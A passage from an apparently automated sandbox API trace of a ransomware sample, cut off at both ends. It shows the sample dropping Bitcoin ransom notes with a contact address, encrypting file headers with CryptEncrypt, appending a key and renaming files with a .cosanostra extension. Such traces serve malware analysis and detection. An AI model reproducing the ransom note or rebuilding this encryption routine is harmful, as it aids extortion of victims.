lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0082.175] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.175] WriteFile (in: hFile=0x138, lpBuffer=0x28dfbdf*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfda0, lpOverlapped=0x0 | out: lpBuffer=0x28dfbdf*, lpNumberOfBytesWritten=0x28dfda0*=0x1bf, lpOverlapped=0x0) returned 1 [0082.177] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.177] WriteFile (in: hFile=0x138, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfda0, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfda0*=0x2ac, lpOverlapped=0x0) returned 1 [0082.178] CloseHandle (hObject=0x138) returned 1 [0082.178] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0082.179] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.179] WriteFile (in: hFile=0x138, lpBuffer=0x28dfbdb*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd9c, lpOverlapped=0x0 | out: lpBuffer=0x28dfbdb*, lpNumberOfBytesWritten=0x28dfd9c*=0x1bf, lpOverlapped=0x0) returned 1 [0082.179] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.179] WriteFile (in: hFile=0x138, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd9c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd9c*=0x2ac, lpOverlapped=0x0) returned 1 [0082.180] CloseHandle (hObject=0x138) returned 1 [0082.180] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0082.181] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.181] WriteFile (in: hFile=0x138, lpBuffer=0x28dfbd7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd98, lpOverlapped=0x0 | out: lpBuffer=0x28dfbd7*, lpNumberOfBytesWritten=0x28dfd98*=0x1bf, lpOverlapped=0x0) returned 1 [0082.182] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.182] WriteFile (in: hFile=0x138, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd98, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd98*=0x2ac, lpOverlapped=0x0) returned 1 [0082.182] CloseHandle (hObject=0x138) returned 1 [0082.182] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfd38 | out: pbBuffer=0x28dfd38) returned 1 [0082.182] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfd30*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfd30*=0x30) returned 1 [0082.182] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0082.183] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 140 [0082.183] StrStrW (lpFirst="vc_runtimeMinimum_x64.msi", lpSrch=".txt") returned 0x0 [0082.184] ReadFile (in: hFile=0x138, lpBuffer=0x2b3c50, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfcf4, lpOverlapped=0x0 | out: lpBuffer=0x2b3c50*, lpNumberOfBytesRead=0x28dfcf4*=0x2800, lpOverlapped=0x0) returned 1 [0082.256] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.256] WriteFile (in: hFile=0x138, lpBuffer=0x2b3c50*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfcf4, lpOverlapped=0x0 | out: lpBuffer=0x2b3c50*, lpNumberOfBytesWritten=0x28dfcf4*=0x2800, lpOverlapped=0x0) returned 1 [0082.256] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.256] WriteFile (in: hFile=0x138, lpBuffer=0x28dfd34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfcf4, lpOverlapped=0x0 | out: lpBuffer=0x28dfd34*, lpNumberOfBytesWritten=0x28dfcf4*=0x4, lpOverlapped=0x0) returned 1 [0082.257] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfcf4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfcf4*=0x30, lpOverlapped=0x0) returned 1 [0082.257] CloseHandle (hObject=0x138) returned 1 [0082.258] wnsprintfW (in: pszDest=0x2d2e10, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.cosanostra") returned 151 [0082.258] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.cosanostra" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.cosanostra")) returned 1 [0082.258] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0082.259] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.259] WriteFile (in: hFile=0x138, lpBuffer=0x28dfbcf*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd90, lpOverlapped=0x0 | out: lpBuffer=0x28dfbcf*, lpNumberOfBytesWritten=0x28dfd90*=0x1bf, lpOverlapped=0x0) returned 1 [0082.259] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.259] WriteFile (in: hFile=0x138, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd90, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd90*=0x2ac, lpOverlapped=0x0) returned 1 [0082.259] CloseHandle (hObject=0x138) returned 1 [0082.260] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0082.260] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.260] WriteFile (in: hFile=0x138, lpBuffer=0x28dfbcb*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd8c, lpOverlapped=0x0 | out: lpBuffer=0x28dfbcb*, lpNumberOfBytesWritten=0x28dfd8c*=0x1bf, lpOverlapped=0x0) returned 1 [0082.261] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.261] WriteFile (in: hFile=0x138, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd8c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd8c*=0x2ac, lpOverlapped=0x0) returned 1 [0082.261] CloseHandle (hObject=0x138) returned 1 [0082.261] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0082.413] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.413] WriteFile (in: hFile=0x154, lpBuffer=0x28dfbc7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd88, lpOverlapped=0x0 | out: lpBuffer=0x28dfbc7*, lpNumberOfBytesWritten=0x28dfd88*=0x1bf, lpOverlapped=0x0) returned 1 [0082.414] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.414] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd88, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd88*=0x2ac, lpOverlapped=0x0) returned 1 [0082.414] CloseHandle (hObject=0x154) returned 1 [0082.414] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfd28 | out: pbBuffer=0x28dfd28) returned 1 [0082.414] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28dfd20*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28dfd20*=0x30) returned 1 [0082.415] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0082.415] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 85 [0082.415] StrStrW (lpFirst="AdobeCMapFnt10.lst", lpSrch=".txt") returned 0x0 [0082.415] ReadFile (in: hFile=0x154, lpBuffer=0x2fe00d8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfce4, lpOverlapped=0x0 | out: lpBuffer=0x2fe00d8*, lpNumberOfBytesRead=0x28dfce4*=0x2800, lpOverlapped=0x0) returned 1 [0082.429] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.429] WriteFile (in: hFile=0x154, lpBuffer=0x2fe00d8*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfce4, lpOverlapped=0x0 | out: lpBuffer=0x2fe00d8*, lpNumberOfBytesWritten=0x28dfce4*=0x2800, lpOverlapped=0x0) returned 1 [0082.429] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.430] WriteFile (in: hFile=0x154, lpBuffer=0x28dfd24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfce4, lpOverlapped=0x0 | out: lpBuffer=0x28dfd24*, lpNumberOfBytesWritten=0x28dfce4*=0x4, lpOverlapped=0x0) returned 1 [0082.886] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfce4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28dfce4*=0x30, lpOverlapped=0x0) returned 1 [0082.886] CloseHandle (hObject=0x154) returned 1 [0082.887] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.cosanostra") returned 96 [0082.888] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.cosanostra")) returned 1 [0082.889] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0083.911] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0083.911] WriteFile (in: hFile=0xbc, lpBuffer=0x28dfbbf*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd80, lpOverlapped=0x0 | out: lpBuffer=0x28dfbbf*, lpNumberOfBytesWritten=0x28dfd80*=0x1bf, lpOverlapped=0x0) returned 1 [0083.912] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0083.912] WriteFile (in: hFile=0xbc, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd80, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd80*=0x2ac, lpOverlapped=0x0) returned 1 [0083.912] CloseHandle (hObject=0xbc) returned 1 [0083.912] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfd20 | out: pbBuffer=0x28dfd20) returned 1 [0083.912] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfd18*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfd18*=0x30) returned 1 [0083.913] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.452] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned 89 [0084.452] StrStrW (lpFirst="VC_redist.x86.exe", lpSrch=".txt") returned 0x0 [0084.452] ReadFile (in: hFile=0x188, lpBuffer=0x3013038, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfcdc, 